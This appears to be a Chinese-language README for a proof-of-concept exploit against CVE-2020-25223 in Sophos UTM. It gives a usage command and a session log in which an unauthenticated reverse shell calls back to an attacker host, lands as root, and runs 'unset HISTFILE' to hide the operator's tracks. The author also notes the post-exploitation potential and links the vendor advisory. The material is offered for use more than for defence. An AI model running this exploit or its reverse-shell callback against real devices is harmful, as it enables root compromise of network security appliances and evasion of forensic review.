
CVE-2020-25223
CVE-2020-25223 RCE PoC,获取反向 Shell。无需认证。快速实现,以统一一些威胁磁铁。
# python sophucked.py https://x.x.x.x:4443 x.x.x.x 80
(+) 在端口 80 上启动处理程序
(+) 发送回调至 x.x.x.x:80
(+) 来自 x.x.x.x 的连接
(+) 弹出你的 Shell!
bash: 此 Shell 中无作业控制
utm:/var/confd # unset HISTFILE
unset HISTFILE
utm:/var/confd # id
id
uid=0(root) gid=0(root) groups=0(root)
utm:/var/confd # exit
exit
exit
*** 远程主机关闭连接 ***
#
此工具中未实现,只需使用 nuclei 模板。
这些设备带有 Python 解释器,实际上提供了功能非常完整的 Linux 环境。后渗透潜力巨大。
我相信关心的人可以补充这部分内容。Bitter(“蓝队 Twitter”的一个子集)可能很快就会这样做。我的意思是,从一个统一威胁管理设备中检测出未加密的反向 Shell 信标应该不难,对吧?
有人(大概是来自 Sophos)发来了这个,这是官方修复链接。去更新你的 UTM。https://www.sophos.com/en-us/security-advisories/sophos-sa-20200918-sg-webadmin-rce
第三方参考(漏洞详情):https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223
直接向 Sophos 投诉,他们竟然在 21 世纪还认为将用户输入传递给 Perl 的 open() 是个好主意。